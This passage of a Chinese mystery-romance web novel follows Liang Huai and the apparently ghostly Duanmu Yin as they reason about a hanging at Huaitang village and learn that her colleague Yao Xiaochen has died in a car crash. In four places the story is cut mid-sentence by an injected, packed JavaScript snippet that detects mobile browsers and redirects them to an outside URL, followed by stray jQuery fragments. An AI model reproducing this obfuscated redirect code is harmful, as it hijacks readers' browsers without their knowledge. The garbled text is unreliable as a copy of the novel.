“奇怪什么?”
“之前我们以为是因个人矛盾引发的冲动杀人,但现在知道不是。这样一来,任何人都有作案动机了。
“你看,你的案子里,有作案时间的是三个人,禾川、丁维和孟野。这三个人里,我们本来排除了孟野,因为他和你没闹过矛盾。但现在闹没闹过矛盾已经不重要了,所以我们把他重新加进嫌疑人名单里。
“三个有嫌疑的人中,有两个人抽烟。
“再说说案发当时你闻到的白兰花香味。在这两位既有作案时间,又抽烟的人里,很难想像两个男人会喷洒白兰花香味的香水,或在胸前别支白兰花,当然可能也有例外。”梁淮揉了揉眉心,“但,禾川,唯一一个有作案时间,也别白兰花的人,却十分厌恶抽烟。”
端木茵对上他的目光:“白兰花香味也许没那么决定性。”
梁淮认同:“还有姚晓晨,她虽没作案时间,也不抽烟,完全被排除在嫌疑范围外,但她在医院见到我后流露出的自责,让我十分在意。我很想知道,她在自责什么?”
目光注视着沙发上和村霸玩累的梁柔,梁淮眉头拧得更紧了,“还有,十二号下午,谁没有不在场证明。”
***
除了梁柔回去时又闹出点动静,想要把村霸拐跑外,这一天总算太太平平地过去了。
端木茵倒头就睡,再醒来时天已大亮。
清晨的阳光从窗外洒进来,端木茵眯了眯眼,翻身背对着窗,微微一抬头,差点撞上了梁淮的下巴。
在心底嘘了声,她尽量放轻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377070|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了动作从被窝里伸出手。
指尖轻轻划过梁淮隐隐冒出胡茬的下巴。
梁淮总是把自己收拾得很体面,刮得干干净净的下巴,梳得整整齐齐的短发,熨过的白衬衫黑西装裤,衬衫扣子永远都是规规矩矩扣到最上面。
有时候她很想跟他说,太过古板真的很无趣,野性点反而更吸引她,比如在床上的时候,炽//热而急促的呼吸,被汗水濡//湿的凌乱短发,还有跌宕起伏间的肌//肤摩擦,折腾得一片狼藉,却让她快乐到极点。
从下巴一路往下,指尖停在喉结处。
那里有一个小小的红色印记,端木茵猜,大概是被蚊虫叮咬后抓伤留下的痕迹,只是乍一看,像颗小小的糖渍草莓。
心里有些莫名不开心。她屏住气,小心地用指尖触了下红色印记,她可不想被梁淮发现她趁他睡着时研究他的“草莓印”。
确认的确是蚊虫叮咬后留下的痕迹,端木茵满意地往后退了退,却发现腰被人箍住了,动弹不了一点。
抬头,正好对上梁淮惺忪的睡眼。
“是蚊子咬的。”梁淮说,刚醒来,他声音有些沙哑,磁性中带着点致命的性感。
端木茵梗着脖子:“是吗?看着倒像是颗草莓。”
梁淮冷哼了声,她能感觉到箍着她腰的手更使劲了。
“有这样的草莓印吗?”他问,睡眼还惺忪着,散发着慵懒散漫的气息。
端木茵不甘失落,用指尖再次点了点红色印记。她故意用了点力,却被梁淮捏住了手。
“不要摁那里。”他说,却不松开端木茵的手。
“那哪里可以摁?”她明知故问。
“哪里都不可以。”
端木茵不服气:“如果我偏要呢?”
梁淮:“你可以试试。”他松开了她的手腕,目光却不曾从她身上移开。
端木茵轻哼了声。
她又不傻,大清早的,她才不会去招惹他呢。
“我再躺一会儿。”端木茵翻了个身,背对着梁淮。
床垫微微弹动了下,接着是梁淮趿拉着拖鞋出卧室的声音。
心中莫名有些失落,端木茵把被子裹了更紧了些。
***
上午,吴警官打了个电话过来,跟梁淮说端木茵的案子已成立了调查组调查,还跟他说,确认了被害者就是当天在小卖部和老人发生过争执的人,只是小卖部的监控没拍到被害者正面,暂时无法确认被害者身份。
梁淮趁机跟他打听了一下十二号下午翻译社有哪些员工没在公司。
大概是感谢梁淮提供了重要信息给警方,吴警官倒没藏着掖着,把允许透露的都透露给他了。
孟野十二号下午没在公司,他父亲出车祸了,老家打电话让他回去,他十一号回老家,十三号才回来。
梁淮问了句:“姚晓晨呢?”
“姚晓晨?”吴维略微诧异,“她十二号出差,十四号回来,去的外省。”
“她十二号有不在场证明吗?”
“你怀疑她?”
梁淮:“就是问问。”
“她不是一个人出差的,一同去的还有他们社长和一个同事。”
梁淮若有所思:“明白了,谢谢你,老吴。”
挂了电话,梁淮看了眼端木茵:“你怎么看?”
端木茵耸了耸肩,不知道说什么好,只觉得信息越多,反而越发看不清事情的真相了。
思忖了几秒,问:“能去槐塘村吗?我想过去看看,也许能记起某些忽略掉的细节。”
12. 第十二章 八月二十二日
“就那里,”端木茵坐在副驾驶座上,指着前方,“我的车当时就停在这里,小卖部在前面,大概两条半街的距离。”
梁淮熄了火,把车停好,解开安全带:“我们走过去?”
天阴得厉害,大概要下雨了,端木茵不想一会儿淋得湿透,便说:“我们快点,好像要下雨的样子。”
梁淮同意。
一下车,厚重的闷热感扑面而来,这种又闷又湿的天气比太阳暴晒还让人难受。
端木茵睨了眼梁淮,谢天谢地,他总算没穿看了让人缺氧的扣子扣到最上的白衬衫了。
浅灰色T恤配米白色工装短裤,难得的痞帅风,端木茵的目光在他身上多停留了两秒。
“在看什么?”梁淮边走边问。
T恤和工装短裤是网上搞活动时她凑单买的,买回来后她就塞衣柜里了,没想到分居后梁淮把她凑单买的衣裤都带走了。
端木茵昂起头,如实回道:“看你呀。”
梁淮哼笑。
“笑什么?不让看吗?”
“怎么会?”他的声音里透出些平日没有的轻快感,“看那么久了,那评价一下。”
端木茵装模作样地上下打量他:“年轻点了。”
“还有呢?”
“朝气点了。”
“嗯,还有呢?”
端木茵抿了抿嘴唇:“还有点痞帅。”她画蛇添足地补了句,“只有一点点。”
梁淮刚想问“一点点”是多少,端木茵已指着前方大喊:“就那!”
抬眸看去,梁淮发现端木茵说的小卖部其实是间小平房改造的,不到十平方米,货架上空空荡荡的。
小卖部里,老爷风扇摇着头,发出嘎吱嘎吱的声响。
一位老人躺在躺椅上,对面有台老式电视机,正播着家庭伦理剧。
“婆婆,一瓶水。”
老人起身,拿了瓶水给梁淮。
端木茵凑近些,说:“就是这个婆婆。”
“还有这个。”梁淮看了几眼一旁柜子里的几款香烟,踮脚伸手想拿包70元的软盒,不知为什么突然又改了注意,最后挑了包中间一排的烟。
拿走了这包,这格就空了出来。
同一排有个格子也是空着的。
梁淮扫了码,付了钱,问:“婆婆,这款烟就这一包了吗?”
老人:“就这一包了。这片拆迁了,没人也没生意,这铺子做到月底我就不做了,就不进货了。”
梁淮把烟盒收进裤兜里,拿了矿泉水,拧开瓶盖,点头应和:“也是,这片都搬了差不多了吧?”
“基本上都搬了。先前还有两三户人家不肯搬,后来出了那事,也没人愿意留下来了。”
“那事是什么事?”梁淮装傻。
“小伙子没看新闻吗?诺,就后面那座桥那边,有个人被……”老人用手比了个“八”字搁在下巴下勒住,“昨天警察还来我这里问东问西呢,不是他们问,我都不知道真的被人偷了包烟。”
“偷烟?”梁淮继续装傻,装得太像,端木茵都没眼看,伸手拍了他一下。
“喏,就这款。”老人用手指敲了敲空着的格子,“还不便宜哩。我现在坐半天也挣不到这包烟的钱呢。”
又应和了老人几句,梁淮才离开。
走出十来米,端木茵回头看了眼小卖部,婆婆又躺回躺椅上了:“为什么跟婆婆打听偷的是哪款烟?”
“想知道被害者是什么样的一个人。”梁淮把最后点矿泉水喝了,路边没有垃圾箱,他只好把空瓶拿在手里。
端木茵:“问吴警官不就行了吗?”
“他们有他们的规定,不能对外透露案件信息。我们能自己调查就自己调查。”
端木茵点头:“也是。”大脑飞快地转动,“那包烟是在中排架子靠外的格子里放着。一共有上、中,下三排架子,每排架子又分成几个小格子。最下排的烟是价格相对便宜的香烟,每盒价格不超过30元。中间那排是30元至50元/盒的烟,最上面一排是最贵的,价格都在50元/盒以上。他为什么不拿最上面一排的烟?”
梁淮回视她:“你说呢?”
端木茵:“他够不到?所以你一开始想拿那包软盒烟,不是想买那款烟?”
梁淮看了她一眼:“你知道我不抽烟的。”
端木茵心想,那倒是。她讨厌烟味,幸好她亲近的两个男人,端木远、梁淮他们都不抽烟。
“我伸手试了下,踮脚刚好可以拿到最上排的香烟。被害者若是能轻松拿到最上排的烟他为什么不拿?因为他够不到,踮了脚也够不到,所以他只能退而求其次拿了中间一排的烟,没有上排的贵,但也不便宜。”
“也可能他就爱抽那款。”
梁淮摇摇头:“上排最靠外那款烟,它的烟气一氧化碳和焦油量很低,没有价格因素,抽烟人会优先选烟气一氧化碳和焦油量低的烟来抽。”
端木茵撅噘嘴:“你又知道了。”
梁淮轻笑:“工作嘛,时常有人敬烟,多少了解点。”
端木茵低头,脚尖划过杂草,思忖着梁淮这样解释也不是没有道理,如此,只能朝那人身高问题上去思考了。
“如果踮了脚也够不到,你一米八六,踮脚刚好可以拿到最上排的烟,照你的身高算下来,被害者大概也就一米七六,反正不会超过一米七八。”
“差不多。”
“那是不是意味着,凶手也不一定要个头高人魁梧才能对他下手?”
“我也是这样想。”梁淮指了指前方,说,“你朋友圈发的那张照片是站在这个位置上拍
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377071|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的?”
端木茵顺着他手指的方向看过去。
还是记忆中的青石板道路和灰墙黑瓦老房子,唯一不同的是窄巷深处空无一人。大约是天色昏暗,竟给人种颓靡的感觉。
“过去看看?”梁淮垂眸问她。
端木茵僵了僵,而后点头。
“那个人当时靠在这面墙上。”端木茵抬手摸了摸墙面。年数太久,青砖已泛黑,砖与砖的缝隙中还蔓延着青色的苔藓,触//碰上去,微微有点潮湿。
梁淮没有做声。他从口袋里掏出那盒烟,撕开塑料包装纸,倒出一支烟,夹在指间。
“你不是不抽烟的?”端木茵一手抵在墙面上,歪着头看他。
梁淮靠在墙上,扭头看她:“还记得我们看照片时我问你,那个人指间夹着的是烟吗?我认为,那个人就是在抽烟。”他又回过头,淡淡道,“你说,那个时候,那个人在想什么?”
端木茵愣了一瞬。
想什么?
她答不上来。
她只记得,那时,那人的侧影寂寥又落寞。
***
老槐树下。
端木茵蹲在树前,脚底是厚厚一层落叶,稍微动一下,便发出清脆的响声。
“居然真的劈成两半了!”端木茵不无惋惜,“这株槐树长成这样也得大几十年,上百年吧。”
梁淮蹲在她身旁,伸手捏走粘在她头发上的小飞虫。
端木茵身体往后靠了靠,眯着眼看:“是什么?不会是尺蠖吧?”
“不是,是只小飞虫。”
端木茵松了口气,换了个姿势蹲着,胳膊肘撑在大腿上,双手托住下巴:“以前读书的时候,学校里也有几株槐树。有一次,有个很小的、碧绿碧绿的尺蠖掉在小柔的毛衣上,吓得她满操场跑……”讲到激动处,她语气里带了点劫后余生的后怕。
梁淮嘴角微微上翘。他甚至能想像得到阿茵跟着小柔一起哇哇大叫,乱奔乱跳的模样。
“你还笑。”端木茵鼓着脸生气。
“没有。”嘴上这么说着,某人嘴角的弧度一点没压下来,“后来呢?”
“后来啊?后来有个男生帮她拿掉了。梁淮,你知道吗,尺蠖动的时候,是一屈一伸的,屈起来的时候就像一座拱桥。”端木茵一边说着,一边用食指拱成一个“九”字,接着又伸直。
梁淮转过身,视线定格在对面的望槐桥上。脑子里还残留着想像中尺蠖屈起时像座拱桥的画面。
尺蠖动的时候,是一屈一伸的。
那不动的时候呢?大概伸得笔直,就如凶手把被害者吊在望槐桥上时,尸体也是笔直倒挂。
“在想什么呢?”端木茵问。
“在想尺蠖,想凶手,想昨天我们讨论的问题,在想凶手是个什么样的人。”
13. 第十三章 八月二十二日
梁淮坐在落在地上的枯叶上:“我们都认为照片里的人是凶手,理由就是,如果他不是凶手而是被害者,又或其是他不相干的人,那么你在朋友圈发的照片就不会引来杀身之祸。”
端木茵点头,示意他继续说下去。
“嗯,那好。我们再来看。根据现有信息,我们发现什么?首先是案发现场的选择。槐塘村是个无人无监控区域,比起隔音很差的楼房,比起到处是监控的街头小巷,槐塘村确实是个非常适合行凶的现场。
“第二,凶器。我们没见过凶器,但考虑到被害者是被倒吊在桥头,凶器大概率是一根绳子,一根结实、能承受住一个成年男人体重且足够长的绳子,我说足够长是指它能把人吊起来,而且这根绳子的来源还不好查。你看,被害者的尸体被发现几天了,老吴那边还是没有太大的进展,不难怀疑,这根绳子可能是捡的或别处顺的,根本查不到凶手身上。
“第三,被害者的指纹被破坏了,能证明被害者身份的东西全被拿走了,留在现场的烟头也被捡走了,这些是谁做的?只能是凶手。”梁淮扒拉着身旁的枯叶,继续道:“从这几点可以推断出凶手是个做事非常缜密的人,从现场,到作案工具,再到各种细节,他都注意到了。
“凶手他/她不是冲动杀人。一般冲动杀人,杀了人后第一反应就是逃,绝不会把时间浪费在把被害者拖到桥边倒吊起来,也不会注意到留在现场的烟头。”梁淮摇了摇头,“还有那根用来倒吊被害者的绳子。我们假设一下,如果是冲动杀人,凶手会预先准备好那样一根绳子吗?”
端木茵蹲得腿麻,索性也坐下:“凶手是个心思缜密的人,他/她虽是有预谋杀人,但极可能是第一次杀人。”
“我说凶手是第一次杀人基于他/她在现场抽烟。不是说行凶后在现场抽烟就必定是第一次杀人。怎么说呢,即便槐塘村是个无人无监控区域,但毕竟是个露天场地,谁也不能保证没有路人经过,对凶手来说,哪怕是一个目击者终究是极大的隐患,如此,凶手行凶后,应该会快速收拾现场痕迹,然后以最快的速度离开,而不会留在现场抽烟。
“从我朋友圈那张照片来看,我倾向于凶手是在行凶后在现场抽烟。为什么说行凶后,而不说是行凶前,因为照片里只有凶手一个人的身影。我们之前就分析了被害者偷走的那盒烟里缺失的六支烟的去向,离开现场前,凶手捡走了那六支烟头。
“好,如果是照片是行凶前拍的,那么意味着凶手在等待被害者的到来。等被害者期间,他/她确实可能抽支烟以缓解等待的无聊。但注意,这个时候凶手抽的烟是自己的烟。我们已知被害者的烟是偷来的,并且不是以他喜好偷的,而是能偷到什么烟偷什么烟。市场上有几十上百款烟,只有极小概率凶手抽的烟和被害者偷的烟是同款烟。
“凶手若是自己有烟,被害者在给他/她递烟的时候,他/她可以以抽惯了自己的烟而拒绝,那么行凶后,凶手只需捡走自己的烟头,无需捡走被害者抽的烟头。不同款的烟的烟头还是很好认的。既然凶手捡走了所有的烟头,那么意味着所有烟头,无论是凶手抽的,还是被害者抽的,都来自于同款烟。
“好,我们又回到凶手抽的是被害者递给他/她的烟。那么我拍那张照片的时候,被害者去哪了呢?被害者大概率已经被杀害了。又出现一个新的问题,既然被害者已被杀害,那为什么凶手不快速离开现场?
“我唯一能想到的是,凶手是第一次作案,作案带给他/她的冲击过大,他/她一下子缓不过来,需要抽支烟缓解一下情绪。他/她没离开,因为当时还有事情没做完。
“那么是什么事情没做完呢?”
梁淮插嘴:“凶手要把被害者吊在桥头。”
端木茵颔首:“是的。他/她要把被害者吊在桥头。凶手明明应该在行凶后马上离开,但却没有,因为他/她还没完成他/她的‘杰作’。所以说,把被害者吊在桥头,对凶手来说是有极大意义的一件事。那么重要,以至于,他/她在行凶后,宁可冒着被人发现的风险也要完成倒吊被害者这一步骤。
“可我们知道,凶手是个缜密又谨慎的人。你看,在我的案子里,他/她避免了用凶器,他/她尽量把命案伪装成事故。这其实是最简单的杀人方法,那么,为什么凶手在槐塘村的案子里不这么做呢?
“槐塘村的案子做得明目张胆,不但有凶器,被害者的尸体还被高调地倒吊在桥头。”端木茵抬头,望着身后的老槐树,抚过老槐树粗糙的树皮,“还有这株老槐树,偏偏被雷劈成了一半,倒让这案子又多了点神秘色彩。
“我想知道,凶手是因为知道这株老槐树被雷劈成了半才把行凶现场定在了这里,还是,无论老槐树是否被劈成了两半,这里终究会是凶案现场?”
梁淮无奈摇头。
就目前掌握的线索,没法推断出更多的细节。
有一点端木茵说得没错,槐塘村案做得太高调了。
高调到像连环杀人魔在作案。
可连环杀人魔会在只做了一个案子后突然低调吗?
绝对不会。
连环杀人魔想要的是成为焦点中的焦点,他们绝不会隐藏自己做下的案子。
正好相反,他们喜欢挑战警方,这让他们感到兴奋。
他们也享受成为公众的议论话题。
不,他们绝不会在做了一个案子后就销声匿迹。
“阿茵。”梁淮轻轻叫了声。已经半天没听到端木茵出声了,回过头去才发现她半跪在那株被雷劈成两半的老槐树前,“你在干吗?”
“梁淮,你看,树上面红色的是什么?”
梁淮凑近了些,伸手抹了下干枯的树皮,“墨水?”
“墨水?”端木茵重复了一遍,疑惑道,“怎么会是墨水?一般不是涂兑了石灰的白漆吗?你看,这里也有,还有这里。”
“还是近期泼的墨水。”
“梁淮,你看,这里有点红印,这里也有,但是你看,这里被劈开的截面里一点红印也没有。”
梁淮挑眉:“是老槐树被雷劈前被人泼的红墨水?”
“看来是。”端木茵一屁股坐在地上,两手往后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377072|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
撑在地上,“哎,我还以为凶手是听了老槐树被劈成两半的事才想到以这边为凶案现场的呢,原来不是啊。那他/她为什么选择槐塘村做案子?”
梁淮没理她,手里捏着那片干枯的树皮不知道在想什么。
端木茵觉得没劲透了。她站起身,拍拍手,拍去掌上粘着的碎屑,仰头,看向天空。
天色更暗了。
“要下雨了。”
***
回去的路上,梁淮接到了姚晓晨的电话。
“喂?”
“是梁淮,梁先生吗?”
“哪位?”
“呃,我是端木茵的同事姚晓晨,我们在医院见过,不知道梁先生还记得吗?”
梁淮瞥了端木茵一眼,用嘴型跟她说是姚晓晨。
“有什么事吗?”
姚晓晨吞吞吐吐问他:“那个,梁先生有空吗?能不能见个面?”
梁淮拧了下眉头,有点犹豫是不是有必要和她见个面,但想起之前在医院姚晓晨看到他时自然而然流露出的自责,便回道:“你说个时间吧。”
“12点30分,南洲广场一楼的咖啡店,你看可以吗?”
“12点30分,南洲广场。”梁淮看向端木茵,重复了一遍。
端木茵点头:“你答应她。”
梁淮回她:“可以。”
姚晓晨:“那到时候见。”
挂了电话,摘下蓝牙耳机,趁着前方红灯,梁淮侧眸:“你怎么看?”
端木茵望着前方发呆:“晓晨姐为什么约你在南洲广场见?”
红绿灯转绿,梁淮踩下油门:“什么意思?”
“从公司到南洲广场开车要20分钟。午休才1小时30分钟,开车来回要用去40分钟,约个地方见面谈事而已,公司楼下的LaBrujita不能谈事吗?”
梁淮轻笑一声:“可能她不想有人看到我和她见面。”
端木茵琢磨着这句话的意思,半晌才颔首道:“也是。LaBrujita的落地窗那么敞亮,玻璃擦得贼明亮,店里又打着灯,站店外能看得清清楚楚。”她自嘲地笑了笑,“出事以来,你几次表现出对晓晨有疑心,但出于私心,我一直希望她和我的案子无关,只是你多心了。”
端木茵轻叹一声。
梁淮听出这声叹气里有些许无奈。他腾出一只手,握了握端木茵的手。
“她对我真的很照顾,却像姐姐照顾妹妹那种照顾。现在我不知道了,她可能真的知道点什么,但因为某些原因她选择了保持沉默,又或许……”
端木茵说不下去了,脑袋靠着车窗。
姚晓晨会是推她的那个人吗?
不谈她与她之间的交情,若有动机,交情又算什么。
单说作案时间,姚晓晨有作案时间吗?
端木茵记得清楚,中元节那天,快20点的时候,姚晓晨下班,经过翻译部门口的时候还跟她打了声招呼。
那个时候,一切似乎还正常。
一个念头忽起,端木茵拧了拧眉头。
14. 第十四章 八月二十二日
之前从没把姚晓晨放在嫌疑人的位置上,所以也没在意过她的不在场证明。
如果姚晓晨并没有在她以为的时间里离开公司呢?
“梁淮,中元节那天,姚晓晨是几点离开公司的?”
梁淮扭头看她:“你想到什么了?”
“我记得她在我之前就下班了,后来也没听你提起过,我就下意识认为她的确是在我下班前就离开公司了。”端木茵顿了顿,看着梁淮,哑声道,“可是,一开始,连警方也不认为我是被人推下楼去的,所以,应该没人核实过六楼所有人的实际下班时间吧?”
又一个红灯前,梁淮停下车,道:“你们公司的考勤打卡设备那几天在系统升级,六楼的监控又坏了,所以老吴他们只能通过一楼大厅和负一楼的监控核实从20点后下楼的人,也就是于森、禾川、丁维和孟野。
“于森,20点16分被一楼的监控拍到;禾川,20点30分;孟野,20点37分;还有丁维,20点40分。监控没有拍到姚晓晨下楼。”
端木茵猛地坐直:“20点前的呢?”
“我打个电话问问老吴。”梁淮戴上蓝牙耳机,拨通了吴警官的电话。
看着前方红绿灯计时,端木茵突然觉得心烦得很。
红灯变为绿灯,通话还没接通。梁淮拉下蓝牙耳机,踩下油门:“老吴大概忙着,我一会儿再打。”
端木茵“嗯”了声,没多说。
前方已看得到南洲广场的大招牌了。
商场的停车位已满,不得已,梁淮把车停在了离商场一条街的停车场内。进咖啡店的时候,他抬手看了眼腕表。
12点25分。
找了个靠门口的位子坐下,有服务员上前问他要点什么,梁淮说了句“等人”,服务员笑笑退下了。
12点37分,姚晓晨还没到,端木茵有点坐不住了,频频往店外看。
姚晓晨不是不守时的人,哪怕遇到什么情况耽误了几分钟的时间也会先发个信息打招呼。
现在电话电话没一个,信息信息也不发,一点不像姚晓晨的作风。
12点43分,服务员再次上前委婉地问梁淮是否要点什么。
梁淮明白服务员这是在暗示他白白占个位置耽误他们做生意了,颇为不好意思地点了杯咖啡。
12点48分,连梁淮也开始觉得不对劲了。他掏出手机,按之前姚晓晨打给他的号码回拨过去。
依旧没人接。
“是不是出什么状况了?”端木茵趴在桌子上,下巴垫在手背上,声音恹恹的,“要不你打个电话去公司问问?”
梁淮赞同地颔首。
“喂,你好,请问姚晓晨在吗?”
“姚晓晨啊?”接电话的小姑娘声音细细的,端木茵一听就听出来是公司的实习生前台小妹妹,“她出去吃饭了,您要留什么话给她吗?”
梁淮:“她几点出去的?”
对方停顿了两秒,回答:“应该是12点吧。她回来我让她给您回个电话。”前台小妹妹明显答不上来,想结束通话。
“嗯,那她回来,你让她给我回个电话,我姓梁。”
“好的,梁先生,我记录下来了。”
梁淮挂了电话,看向端木茵:“还等下去吗?”
端木茵耸了耸肩:“反正也等了那么久了,要不你索性先把午饭吃了,我看菜单上有意面还有炒饭,你随便点一份。吃完了,她要是还没来我们就不等了。”
梁淮觉得可行,最后点了份鸡肉炒饭。他吃饭不讲究,吃得也快,吃完一整盘炒饭也才刚过13点10分。姚晓晨依旧没消息,端木茵觉得没必要再等,姚晓晨若是真有事要找梁淮,势必会再打电话约他。
唯一让她不适的是姚晓晨既然后悔约梁淮见面,那她也可以发给信息说明一下,她和梁淮也不用在店里像傻子一样白等了差不多一小时。
除此之外,她对姚晓晨约梁淮的目的也挺好奇。
姚晓晨明显是知道点什么的。她既然约了梁淮,定是做好心理准备要公开某些她知道的事情。
突然爽约,是姚晓晨后悔这个决定了,还是中途出了状况?
端木茵不希望是后者,但前如果是前者,她心里也不舒坦。
总之,这个插曲让她心情很不美妙。
出了咖啡店,外面噼里啪啦下着倾盆大雨。
端木茵抱臂站在商场门口。车停在了一条街外的停车场,雨那么大,现在叫梁淮跑过去,人肯定要淋湿了,她也不能那么没有同理心:“先等等吧,这雨都是一阵阵的,等小点了再去取车。”
梁淮不反对,拉了端木茵往里站。
门口等雨停的人不少,叽叽喳喳的说话声此起彼伏。
“也别打车了,一会儿坐地铁吧,隔壁就有个站。”
端木茵看过去,说话的是一个十八、九岁的短发女孩。
另一个差不多年纪,扎丸子头女孩接了话题:“雨那么大,确实不太安全,我们来的时候,那辆白色朗逸翻车多吓人。”
短发女孩:“肯定是司机猛打了方向盘,道路又那么湿,才会侧倾翻车。”
丸子头女孩:“也不知道司机伤得严重吗?”
端木茵皱了皱眉,往梁淮靠近了一点。
“梁淮……”
“嗯?”他轻声问,大概是不想周围的人认为他自言自语。
“那两个小姑娘在说的翻车的事。我在想,会不会是晓晨姐的车。她也开白色朗逸。”
“没……”梁淮本想说“没那么巧吧?”,还没说出口,手机响了起来。他掏出手机,看了眼,对端木茵说,“是老吴。”
摁了接听键,对面吴维的声音从手机里传来:“梁淮?”
“老吴,我正要找你。”
“你的事先等等。我有事问你。”吴维那背景声音闹哄哄的,他停顿了几秒没说话,似乎换了个安静点的地方才又开口,“梁淮,你认不认识一个叫姚晓晨的人?”
梁淮愣了一瞬,没想到老吴找他是为了姚晓晨的事,这可太巧了:“算认识。她是阿茵翻译社的同事,今天她还约我在南洲广场见面呢。”
“她约你见面?”吴维语气更严肃了,“你们谈了什么?”
“没见到人。”梁淮反应过来,反问,“是……她出什么事了吗?”
吴维没正面回答他:“你能来一趟吗?”
“?”梁淮眉头敛起。
“姚晓晨出车祸了,被送去市第三医院抢救,在去医院的路上没能撑住。”
“她死了?”梁淮看了眼端木茵,端木茵整个人愣住了。
略微愣怔后,他反手握住她的手。
吴维:“是的,我们怀疑她是被杀的。你要是
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15377073|168401||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
方便的话,来一趟吧,”
“我这就过去。”梁淮单手挂了电话,另一只手还握着端木茵的手,“我去取车,你一个人待着,可以吗?”
端木茵轻轻点头,神情有些木木的。
梁淮知道她这是还没从姚晓晨车祸的震惊中反应过来,他拉着她的手走到角落里,远离其他躲雨的人群,手按在她的肩膀上,语气郑重:“我取了车就来,很快的。”
端木茵眼眶有点红:“你去吧,我没事的。”
“你确定?”他不放心地又问了句。
端木茵咬住唇,狠狠点头:“嗯,确定!”
望着消失在雨幕中的梁淮的背影,端木茵缓缓蹲下身。
侧倾翻车。
姚晓晨的死,是真事故,还是跟她一样,是一桩伪装成事故的凶杀案?
***
一路上,梁淮没有说话,只是时不时看看端木茵的状况。
相比之前,她冷静了不少,还会提醒他雨天开车当心。
一位姓李的警官接待了梁淮。吴维大概关照过他说梁淮会来,没等梁淮多说,他就拿了个纸杯,添了大半杯热水递给梁淮:“吴队在录口供,我去跟他说一声你到了,你先坐一会儿。”
梁淮接过纸杯,点头道谢。
端木茵看着李警官远去的背影,对梁淮说:“我过去看看。”
反正谁也看不到她,倒方便她随处走动。
李警官走到询问室门口,敲了敲门,开门进了询问室,端木茵趁机跟进。
吴警官,还有上次那位赵警官坐在桌前在录口供。
李警官凑到吴维耳边,小声说了句什么。
吴维回他:“叫他等一会儿,我结束了这里就过去。”
李警官退了出去,顺手带上门。
端木茵留在询问室没出去。她靠在墙边,双手抱臂,冷眼看着眼前的三个人。
吴维轻咳了声,对桌子对面的一个浑身湿透的中年男人说:“你继续。”
“警官,我承认我追尾了,但那也是那辆白色朗逸先突然变道,又不打灯,我闪避不急才撞上去的,你们可以去查监控。”中年男人气急促地解释着。
赵诗年认真记着笔录,并告知:“这个我们会调查情况的,你只管说说当时的情况。”
中年男抓了抓凌乱的头发,回忆道:“当时的情况啊……前面那辆车一直在我前面。”
吴维打断他:“你说前面那辆车,是指哪辆车?”
“就是那辆白色朗逸。”
“继续。”
中年男用手搓了搓额头:“我说到哪了?”
“说到前面那辆车一直在你前面。”吴警官提醒道。
“哦,对。那辆车,就是那辆白色朗逸从中山西路开始就行驶在我前面了。到中山东路前,一直是正常驾驶的。然后大概快到南洲广场时,那辆车开始有点……怎么说呢,开得歪七歪八的。我就在想,司机是不是在捡东西或看信息。”
端木茵敛着眉头。
姚晓晨做事很认真,怎么会开车的时候心思不定呢?
“我稍微减了点速,和前面的车保持更安全的距离。正好那时开始下雨了,我开了雨刮,还想着,这雨一下子下那么大,最好当心点,不然容易撞上。
“真是说什么来什么。我刚这么想,前面那辆车就突然变道了。”
15. 第十五章 八月二十二日
“甚至没打转向灯。我当时就想,司机是不是猛打了方向盘。
“当然,当然,我没亲眼看到司机猛打方向盘,只是我自己这样猜想,不然那辆车不会莫名其妙侧倾翻车,您说是吧,警官?
“就一瞬间的事,我差点没反应过来。我马上拉住了刹车,但还是撞到了那辆白色朗逸。不过警官,我发誓,是那辆车先侧倾翻车,之后我再撞上去的。”
吴维:“我们会核实。你接着说。”
中年男人点头:“我打了双闪,停了车。不过我没敢下车,人也有点蒙,毕竟多年驾龄,第一次发生这种情况。
“然后我打了122。打完122,那个时候正好12点18分,我张望了下,那辆白色朗逸的司机没下车。我想着,车翻得那么厉害,会不会是司机受伤了?我马上又打了120。”
吴维:“你打电话的过程中,朗逸的司机一直没下车?”
